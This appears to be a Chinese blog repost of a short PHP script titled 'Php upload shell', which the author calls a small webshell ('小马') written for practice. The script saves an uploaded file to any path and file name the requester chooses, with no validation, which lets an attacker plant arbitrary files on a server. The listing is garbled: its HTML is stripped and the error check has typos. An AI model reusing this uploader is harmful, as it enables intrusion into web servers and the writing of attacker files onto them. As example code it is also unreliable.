上传php的脚本,php文件上传脚本_PHP教程

最近在学习php,看到了文件上传这块,就简单的写了个php文件上传脚本,可以说是个小马,没什么技术含量,全当练手~

01

02

03Php upload shell

04

05

06

07 Path:

08

0910

11 Please fill in the path of the upload and the filename:

12

13 Please choose the uploaded files:

14

15

16

17

18

19 if(move_uploaded_file($_FILES['upfile']['tmp_name'],$_POST['choose']))

20 {

21 echo "The file upload successful";

22 }

23 else

24 {

25 if($_FILES['upfiles']['erro'] != 0 )

26 echo "The file upload failed,you can try other folder.";

27 }

28

29 ?>

30

31 Code by Str1ven

32 Email:str1ven@foxmail.com

33

34

摘自:Str1ven's Blog

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值